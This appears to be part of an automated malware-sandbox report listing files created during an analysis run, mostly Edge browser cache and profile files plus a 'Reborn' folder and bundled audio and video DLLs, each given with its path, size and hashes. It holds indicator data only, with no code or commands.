SHA512 80e1eca2c0e5f963b9fa6242562e7663fb8ab8ec5250786c8cbe28b166b1fcd0d6b21cba3b541764754e02fc2c33d8dda766384393b59f8b80c74d32c1d287a7
SSDEEP 384:sxRMNG/fgs266s8qMpRiYnazAW8pZS15posJWeT+Q7XN/52/gUh:sQNG/fC4Mnc7WeT+Q79/5sh
TLSH
T173D208059820D87B8AC39E29753D7E33D6EC506261C5DEDA6AECCA1C01DD2FDAB07853
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

52758eb5-672f-4b9f-a432-b5da64e60406.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\52758eb5-672f-4b9f-a432-b5da64e60406.tmp
Size 23KB
SHA256 60437564a0bd9894f65e85720fd8e56729e9c8013e0d9c8e2cb1db941b911fa2
MD5 5c8ac19697b8bb8b3b9551414f3c110a
SHA1 3418014efaf8caf08e53ebc3c119238bf6a70ee4
SHA512 96d24069d2c1559db95e84e904f8ca06089ca164bd471c2f2344c268d4188e486dda9f03aa2c46e7b4f61d83bc706d4d48c142a2800526d888a463702e0d6d94
SSDEEP 384:Ua5g+TcfCtgflFfXHKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVwE9tTRknroqYJ:UEg+TuWgf/fXH8F1+UoAYDCx9Tuqh0V0
TLSH
T11CB2DA2F644CCB7E4FC10AAD9C1AAFD76D9802C797548E4047FE994C02C77FA921A4DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG
Size 334B
SHA256 ce07f67e70975e853334b00e15fa7102781d93ceab1016f4343185d4ff50607f
MD5 1109ab810b28b192bb999e706b9b9625
SHA1 c5c330c4427abdc4b225ffde9d93c37f38105850
SHA512 e53e145b1c678a2616627e2da10601f1df40821d8df21cf3d9870e1e2ff3f59e1dc301e568e055e46c02fb742d6f2d42f99bc8eb665d6f3b668b4d0930bf7303
TLSH
T174E0269806CEC22FA31D648B0268978D83C1275AD2F46A4E2740C98C7406280F7AAAA0
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 4902be366db602a884b07725affeed7326d4b3314bff54e3ac445207dd62a88a
MD5 b27362eed3196a7547f38e720255be32
SHA1 9dce53f70fa70d74732557f6be1e5b42bd7d48fd
SHA512 159c5523a2d86c7b7820898223b493530707458b169819b48e5ba9446b71c0565833fd940a8d2d65924b1f82e7c1e041b72f11a1e05879a4124f39f88fb57524
TLSH
T16BE026C884CBC22FA318A48B016A978CC3A1365B92D87D4E9746C5CD7186244E7AEAE4
MD5 SHA1 SHA512 TLSH

Submit Download

f_000063

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000063
Size 132KB
SHA256 d85977add8299e9f385417f429fa3f005e870070a70a9192a316518843b2083b
MD5 3a41aa3ac05a79df0fd4db60284353d7
SHA1 8513ca5208b68d666e60daa7c7592c4ea55daaa1
SHA512 b938b4d5ed25ff7d90e6046f56ae2569bc5db4367901f59c0103f3e21e6f4fa944c57799a4f6ef5475df1f4c2eb162530ff9716a674bff829afda8138d753b99
SSDEEP 3072:UrPoWlkSC56ay/euaF3V4DlcChWA3dsU076hrC9Npb+GjSWROfcV:uPoCkX8j/9a/43WA3d86Et+GV7
TLSH
T18DD3121A83F7D89133604383DC3A0FDF9AA56B06DDF1E2F75D6973A16DBA62214C1025
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_000064

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000064
Size 177KB
SHA256 d0d4dd0f3a93fff8c7907f6db0a0168539683228310a828c5d5300ce6be15158
MD5 37e0d9686f9757d7f8bae9365deb2af3
SHA1 68d798dbb9d3f235021ce2a7d9dd3327256a6cb0
SHA512 165534f6102d537a946af5ee810c484627e11b9efe33ff1f6c751d83f9640278ef972f7e259400ec7a7c6061affa554cc487c1769c840d8fbe332b0fe9743441
SSDEEP 3072:SqJLPcEElTVT9hjK9DKWowJbqbPVfdMIbKz6Rc4S1r+/UobOxHWdSRK0:SKLPcEE/Dj6D9o6EVfdMaKzoc4qr3xHf
TLSH
T1C60423CE604DB65DE8257C82BFBC7B63690E88DD9BC842664E393CAD55C30B87D3A444
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 4KB
SHA256 be1a7e1c0290a4aa0aec198b5e40bb133b4a9ca02fc6c759fa1023f4ad643f11
MD5 a190a06101b34f08a217a8eb09daf3b3
SHA1 660dbd97338f849531fe66aea64ee574536b8440
SHA512 0ef4ccd5ca903bcaa51305b84da736e7e7736b3c309a5c9a08684197d706fdae4a736c1b1d20e15e697cef4a569144c0f1bec7e35db765eedbd9a9977d12a5b6
SSDEEP 96:3BKMJxKkBvQFB6ZZgZ+zQNVUIL1b4HZTApmbu8dI131DAmvtN8OxvKVghMiamKDP:lzXYBIglUiDN8r+9K7
TLSH
T1A891B76C4773C280E77D6178A4F00C4B7A78F6FE7C974E422588F578680ABE470A52A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 0d4110c3182438274a57caa4fec08a4916e9fef86484002ca6913515212681b5
MD5 cf81aaeaf65707352a0d158d0f656d2a
SHA1 59e8531042c1cd782b8aac353b7642c1fad3bc11
SHA512 eed1e88279d4c283f0bf8bda4efb530ba5dcbfb8f6e3df5a4d852d685f10157e37052deb64a34d2e0112381377d013039ab76db6ef95c4b1bad08e6f80528e47
TLSH
T1C361865D4773C294E7BD6578B4F00C5B3A34F6FF5CAB8E522498E5BC684AFE040A2284
MD5 SHA1 SHA512 TLSH

Submit Download

b5073e59-31c9-48de-8342-bd019783bf4c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\b5073e59-31c9-48de-8342-bd019783bf4c.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3f1c20fc-5cf9-4e07-b4f6-82ade2954dbe.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\3f1c20fc-5cf9-4e07-b4f6-82ade2954dbe.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

963258d2-e94d-4ebb-b592-3dbc657161d0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\963258d2-e94d-4ebb-b592-3dbc657161d0.tmp
Size 15KB
SHA256 d247e71d332e9e6baf023d1a9f108e9930927f267437c3ec1dc5ca11d9432327
MD5 936b320a1e5d59c41dffb0b9fb3d1c31
SHA1 389b0086e4a43e786ff754df69c5ed8ef041af81
SHA512 5acf0400c44cae95e6eb83b6b14e5ddd3c422f4247954cbec38297fb88911dece2c10781cace57a1514bea8eed31d062ba0020dd4b4b614f871f44c9d6e02984
SSDEEP 384:DG6TsRhLLBoQbydouXm6gzgeTetvrVZaaTsAOOgRrBg0YpcwHT4m6oY1yYErqimN:oyYh7Qqd9
TLSH
T15262AEF7C6D58A2DC81256F49B15AE1BCE1D0A29832C3D29C9D5EF4BA3E2071E24570F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

f2ddd1a8-d3a4-4403-ac81-2fc23ddae355.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\f2ddd1a8-d3a4-4403-ac81-2fc23ddae355.tmp
Size 11KB
SHA256 c4d88fe569d40ec8e6b4af0ba4179fb5fd2b6455fd0d529fb5703e91ab5c1e04
MD5 69160a0a63bbf08b771ce8bdc34b90d3
SHA1 a9c5dcc35f653fef26b9a760870e2feaa0586e0b
SHA512 9e5ebe7653a25a555445d2d521cd58840ca9b3285d7117fc9410d2cbd52d47141097c1e7c674802b7c9fa76df39d493a542147e80a8329c1852327fe7015eef2
SSDEEP 192:DW4Yajr8+QdblkE7f/ioCxmVegeMZXnVZaai1pDrI0YpIRfy6oYmLYK1iao04VRL:DW4Yajr8+QdblkE7f/i5xmVegeMZXnV8
TLSH
T15332AAF793F5962ED91156F09604AE1FCE5E1A24832C3D39C9D0AE47E3A3072E146B4B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\660bd5c5-f016-4a69-a6eb-2905138bb6a2\index-dir\the-real-index
Size 1KB
SHA256 8e1f52a78c90f0e9a723c88ca89e93d17b71323061a8ca7c15999ad2eb483790
MD5 56fd02d03cadab76ccd0cd58c4e47186
SHA1 abac02f4924111446764ecf12aaf2bc938f890e5
SHA512 34025f95000450a3e99ce99f05104156fd24804bb35d3339ec142f802fd8853df4d2e3796795689b3bed6f238307f4e898168435f7916b1f910023a92a7a0409
TLSH
T1512144560FA11E5BEDA5527524396889B334A2CC1304BB1F62FEA23E9CD3748EC85984
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\660bd5c5-f016-4a69-a6eb-2905138bb6a2\index-dir\the-real-index
Size 1KB
SHA256 53387ba38ee76235cbb35f73e5b4c4b29b8f643546d18740aa681e7a53604aef
MD5 57616b73ccdeda747d76ac67135e14b1
SHA1 650bec9aa6b2656a7fadd69a4f0eb40dfd19e019
SHA512 264934407cb5adbb715fd6001fc8963507bb2e6bcbc6ad8c58fa603638be34895709ee242f2ac977193ac9db4eb3ef419c9ec4aaf1098a53ed1c38f8421a33a2
TLSH
T1AB21236216B31B77ED8422B6186869D67335E54843487B1FB3F3B06B9C90B88DC929D4
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Size 371B
SHA256 d60f867053d6a13bbd9b83b7ce08d0a6703ff35f75365d39509bafe973fef7ad
MD5 d5987849eaec386d943763113bb108ef
SHA1 dbaaffdbc9db7d882495cbf3376b60c08cc22bbd
SHA512 dd694a9219cf4894e7ccf25e2c35be6be46bcfd70b14d88ff9e5b7533cc43226f998fa53fee444a775b47f913e82e7bbd349fa0591eb2562399d16c1fd025710
TLSH
T12AE0C0B32EEF0890ED9F97C7143240A5005578CCDD00ED0F803B92DB54F1358744AC20
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync App Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 3b2c09261578e36ebc8568ab48a54c94fc3ec134fc87363791ba625c683f712a
MD5 9a6f663e2b557c5d8bfef19583a3b69f
SHA1 538922b180549258cf69019b3650358fc63c403a
SHA512 a323d5b311a671f15382b5aa88366a46990953f0858a6fd1444aae0494a212ea82da712475b775d91876bb72bb7836c3bf76ecd969930200263ed5321604880f
SSDEEP 96:KlsJY8SGqE6GfvYUEKghYKEEc8/ScZyeIK/K4J6KCMqG/CKUAP:kRv+VdS
TLSH
T1CCB1E465707B9201387E294580E4972ACA42F2A77075E9BB77EE00664F7BE044EFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

c4e890d9-eebb-4282-aa66-cfbe83bf7cc3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\c4e890d9-eebb-4282-aa66-cfbe83bf7cc3.tmp
Size 12KB
SHA256 0388198c152337b418a73a2bd6c77a834a01134fe2ea6f852ba7a2209fd834ad
MD5 4a7a5ac31cb5d14523dc36bdaa5fffa6
SHA1 6a8588fd6770c7c49e44995ab0d574b9aecf02db
SHA512 e48613cc447291dde1cc0b64001fc39083c1de3e739c9185fbb5357af5aef7e1bce41750d7a8961c79324fbc4b10313533e3cbd86dbf6fd87a3756c0d5c17ff5
SSDEEP 192:sxRMRCbG/fgsXqEzoA8p7plF//g6+WNOTYfcU/YR9FL3jYG0IgDNJ:sxRMmG/fgsXwZ/5j/6Uj
TLSH
T1EA42C6559D24AA7B8CDBD22DBB55BF53D2F91032A0D15E04ABFC8A1C14EB7DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ebdfed0a-3a55-4a96-94e4-fee015572080.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ebdfed0a-3a55-4a96-94e4-fee015572080.tmp
Size 11KB
SHA256 76b61dc74c2f69ca91ff0fc58808042861ddce5280e326926b871f31b0e9ae8a
MD5 d166d91e24e82c1d51ec9fabfd46d2db
SHA1 b5ac79b04786f1ae8b7fe701e6b37cfe3f7423ff
SHA512 46af8be028f266f8dd1d0cffc06972f06336e4ae557e1dd092a220a28efb55219868557492f9fd247224c91565a53655c8a3a638917b713dd0f84e2fb2648318
SSDEEP 192:sxRjRCbG/fgs+qdzoA8p7plc/g6+WNOBcU/YR9FL3jYG0IgIJ:sxRjmG/fgs+NE/5G/6Us
TLSH
T18742B715AD28B97B8CCBD21DBB59BF53D6F91032A1D15E08AAFC861C14E77DD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f7866789-c632-4a1f-9a97-d361f1f7e781.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\f7866789-c632-4a1f-9a97-d361f1f7e781.tmp
Size 13KB
SHA256 674cf029617c6478a55747fd3819581155c68d6138d30771011118f11b77ede4
MD5 89e4b01d5854066567c97db2fd1f3b55
SHA1 e50cbc1e4bd2eed7f51481119163b1ef31e850b8
SHA512 948551900c3aefc92d747716ab3ba0c1c3f40fc7029979e3673db58ba1ae21f11de0f90a23e503961be24b270f75dac02468efe53d51937571f0e1b62d2a78ea
SSDEEP 192:sxRMRCGG/fgs4qgFqoA8pG27cZtlFAyY/g6+WNs5TYfcU/YR9c+3jYG0IgDjJ:sxRMNG/fgs4BXr/5//oUh
TLSH
T14C52D845AD346A7B8CDBD22DBA55BF53E2F91032A1D15E44ABFCCA1C10E67DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fe634945-2562-4576-9660-d67c65694fd7.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\fe634945-2562-4576-9660-d67c65694fd7.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

eb9473e1-9669-407a-82de-44a31dd5d623.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\eb9473e1-9669-407a-82de-44a31dd5d623.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 3c1d50b73542be14b55d5b61d121de13d0d9c42118a2fa06d199fba7db791874
MD5 ab51456d339677095ca7456a4b0671b7
SHA1 1a4c8e5161cd3418d7a55a7172e43c12f8b21a6d
SHA512 864e6cc9d4134e00696e60938b3f4b6be86c37ce495583ba03f9bb7b01310d09bd2e7513a11b758765f910cd63cad60e002abe9bcc5abaa61efca159f17ef6d8
MD5 SHA1 SHA512

Submit Download

af1ec816-51e3-4725-aa01-3b0351cc6678.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\af1ec816-51e3-4725-aa01-3b0351cc6678.tmp
Size 33KB
SHA256 249b9a70ac1619c281fc2f963d0bfaae64b3fd3b536f491225d5e0595fd266f6
MD5 c0f64ada0ad49b20b85c37c20b6b75db
SHA1 a1613643cfb0de754eb965c03bab6e57f7df0637
SHA512 8cab8abc55b46c0fed6a93b6f24f1f39fbebcdfb6e15a2e397d869070735f98b997e22379d4bd05d85c67607844b20c54c5f00e821d72e4320f7e208cd903c6b
SSDEEP 384:YQkUSv038NAYeiJGTFO2VDfKAXOV1X1XCO5h19hgGRSp14gB+EgH18nbpOfErlul:Q03zO3wOTVCO5fgGM1TnXMqOadS5cl0
TLSH
T12BF2AE32AC599D734CE2D281B10AB692BEF08167D6C91E68E5DDBE0D01CB28F534F817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e314f536-c673-446d-9322-dc977c91783b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\e314f536-c673-446d-9322-dc977c91783b.tmp
Size 392B
SHA256 4ede8e82ab8d356c6f67dcd1abb878c02d93a1737e2195e807663101fabbe17d
MD5 6fec837d7a31f8e24880d0dbfc52f338
SHA1 bc5144c5033db9c1848369216093df9273781d8d
SHA512 944c58cb32855d0c7c08c702138d23ba0c284bc8bcd293de3324849da36ac77929f87f199f19b414e601ee3c3193c47a9d1f63ae032feb0409e55a8ecdb2f9f0
TLSH
T16AE00211E3108637C05D137001975F102FE2C02413E24307063106FDBCB13163E32F40
MD5 SHA1 SHA512 TLSH

Submit Download

e5eb53e3-1f69-4408-b193-7f145cdb012c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\e5eb53e3-1f69-4408-b193-7f145cdb012c.tmp
Size 41KB
SHA256 f67cdcd0f62da05daf59ce638a34eaf10b773f869aff4b3e86f6d7b001667a2b
MD5 cf0ba124560373585c31f7af1094558e
SHA1 5fb9b256008bb6d92231db684d7069dc35d80939
SHA512 ee61a6a45bcf7f87878c051feff03705939e50be689ae1158b7add273c5694c7aae7530c658782562de837f42cdf341aae72e3bf32bcbb7315fbf863ef24986e
SSDEEP 768:cFFJ3/wgTowOTV25fgGM1TnXMqOadS5cl0:qJ39fgt1TnxOaMM0
TLSH
T13B1349F258C79972D8AE8783A33D6D51AEBCC063F5841A54B7C9690CCD861BFC34A812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2c6de492-51c5-4ca9-a490-7e819d87cf13.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\2c6de492-51c5-4ca9-a490-7e819d87cf13.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

f164d2cd-fddd-466f-b6ef-5eaf658fd678.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\f164d2cd-fddd-466f-b6ef-5eaf658fd678.tmp
Size 33KB
SHA256 9e8fa39929aee59fef307d42982a82795296c2c258a7a6e67e6e249764ae17d4
MD5 a3ef6da416f5be2f1917f335644683e6
SHA1 d64dbb678021b35b439ffa9b6bf5c34405fc464a
SHA512 9b7787a335ad5e4067d407f3f40851865b41e59f47be2530f5ed2d617d11ded208a42f768e3f7b76ce5a8acc7547cff5acaf84a73d6ed104c14e67d79f2913cd
SSDEEP 384:YQkUSve38NAYeiJ1TSzVDfKAXOV1X1XCO5h19hgGRSp14gB+EgH18nbpOfErluZL:Qe3towOTVCO5fgGM1TnXMqOadS5cl0
TLSH
T10EF2AE32AC599D734CE2D281B10AB692BEF18167D6C91EA8E5DD7E0D01CB28F534F817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DONOTSHARE.json

Path C:\Users\Admin\AppData\Local\Reborn\DONOTSHARE.json
Size 66B
SHA256 79af2e4760accc30ccf323479cb735aa5b9fd489ca427a8dcfab15fa6fbf7407
MD5 6b0203084d0eb08afbdb12dd2e38a64f
SHA1 092d07f59bf02254ca70ead06efd3d744d68a2af
SHA512 907b3575a92c5690729e51aa7f120591ec0d6e8f454400fd8ef835d955414a175c4722935cd4493c8187290df74915a25388ff62b12f6ea607aa34bfc9ed61b9
TLSH
T124A0023324898A47123080C18034021EB5918E4F14B91C46B6B3DD0D93A3D510CC5B26
MD5 SHA1 SHA512 TLSH

Submit Download

SSLRaton.pfx

Path C:\Users\Admin\AppData\Local\Reborn\SSLRaton.pfx
Size 2KB
SHA256 27f624a7c75a1f728a62c6fffe4325dfac883f9e22cc86aa0fcd11f187b6ed06
MD5 acd6829d1b49c97d9a3683eb8e73670a
SHA1 6328ab0088c3b67bd548ac6b43368b030447e899
SHA512 e74340adf377d06f32faf89da9f46324f1b9f8dd2392fc4a60b371d50c15feccbfd1f07c79746b97002b722d5b5decdb0d5693534a22d6d1f10ed9f890a56a8e
TLSH
T1C3411AAB62F0C1747FB9FAAC08281D1984D6DB521A33226B9521CF9C04C3579F68A357
MD5 SHA1 SHA512 TLSH

Submit Download

userData.json

Path C:\Users\Admin\AppData\Local\Reborn\userData.json
Size 95B
SHA256 7dd6a7e929cee05a1f277665b04e9d808868d5b8b709bccf00679d1c1b604a0d
MD5 60cb01944950bcf20a50348b3e441435
SHA1 088cc455221b7fe9db98d0c7ea17d90d68f154af
SHA512 1ede9638f6776b82589ef6fed243d5ef9c29aafca2853743642b58bad5c5c4ce4037181dea12e8f7939863fd3e663a61edb3fd06a5db37a7e0bac2fdd85d5b18
TLSH
T1C1B01227180E01B391BED0C67C08088D30258E1F81311C076033D2D016004142181703
MD5 SHA1 SHA512 TLSH

Submit Download

userData.json

Path C:\Users\Admin\AppData\Local\Reborn\userData.json
Size 95B
SHA256 3252a55f10bc559abe8e6c615e230e3ce70c9cd805a6d379ee3e173f70958143
MD5 cb7801bd6e6a7029045e766da86208ab
SHA1 23815a1244106795a56eab49ecc0fa20b239c043
SHA512 b2e602a8a7e20363c2647454ab56060622a11c7e16c52503953768e982436fca2d26dae7c179a579124bc807824bd48b7638839198a452db3be5fe8b20b0d28a
TLSH
T128B01223180E00B391BD90C67C04085D31258E1F81315C076133D1D116008142181703
MD5 SHA1 SHA512 TLSH

Submit Download

aforge.video.directshow.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\950BDAD80D65EA7FC5FD07F1244F1737\aforge.video.directshow.dll
Size 60KB
SHA256 666d44798d94eafa1ed21af79e9bc0293ffd96f863ab5d87f78bcee9ef9ffd6b
MD5 17ed442e8485ac3f7dc5b3c089654a61
SHA1 d3a17c1fdd6d54951141053f88bf8238dea0b937
SHA512 9118bf11760354e9971ae8b27f7f6a405e46145b39ca6e6b413cb2e729e51304b895965e9140f66c9e3ef7caa4f344762bf059688b23dd32e4c2df271394fea2
SSDEEP 1536:XwumrikcyTpOKVi+Dqp6viPUCcvKWz3NTpAK+7KI4v8U:6dOKViKa6pOWbhpAKyKIVU
TLSH
T156535BA273B8C633C4AE17F6A4331F4017B1A7495223D79E1F9A519D7CB7B804A50B93
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

naudio.core.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\950BDAD80D65EA7FC5FD07F1244F1737\naudio.core.dll
Size 183KB
SHA256 4f8d8c4140146674b103c8a3c46fbc4c768a86c0012a167168e3f7da2b3e5c09
MD5 4e4302ce791e48f985a3a221a19a272b
SHA1 d2b0fd622daf57a012c3cf5bdf4b187f27d5d080
SHA512 1685a17be6d64c222ec606488e3f8e9707a8b7709054e9e99cb53c7b438f5b993820e2e9773e02455525ee06e18aa65ae150420224311f6c69d795c3d129e312
SSDEEP 3072:6lnWpdQWUY6GwfIGsnlLieRT0TWsPtt3RBntgqK2QlVEOPkk6uSYsM+S70I:FpdQJY6GwfIGOLi7tt3RBntgn2QlVEEO
TLSH
T151045B2563E48266E66F9BB5F0F204178BF0F4463437DB4E5E806AE92A07B01C592F77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

naudio.wasapi.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\950BDAD80D65EA7FC5FD07F1244F1737\naudio.wasapi.dll
Size 176KB
SHA256 a05e371abf96195770ac4f84653d987d63731fed528e98c7fe0d10ce66e37d7e
MD5 bb660a4efbf5c0fdaeeddd4cc9ab9600
SHA1 6dbd30a9216590d012a7feb802831f538345756e
SHA512 7452a8e8c7b3183fcdf2d8546a3d154ce1ae0b7756281bcf5b454b10292356615f70593a73be36095e9eec7f78cf8ec46f14aa52d2b3ed7aa9a59505fd2ca725
SSDEEP 3072:6S40MR31DisfSmJyuhrkf3Pr/duoSIlKjaBIWbiFyryvpwAk:6SWZiUBhrkf31bIgQvp
TLSH
T16D047B223AAC9D76C5AF43B9F8F30D03CBB1D4463A17AF495AC15B255D13B924808B7B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

naudio.winforms.dll

Path C:\Users\Admin\AppData\Local\Temp\Costura\950BDAD80D65EA7FC5FD07F1244F1737\naudio.winforms.dll
Size 33KB
SHA256 82a92cb6b9001e013c653c65e4ae460346770ec7512856879e63018d9cafc41a
MD5 115137414b41a26d6e73738cd94c036c
SHA1 e9e87ec6227bc9d8a971d2aa687dcd4e392a8d43
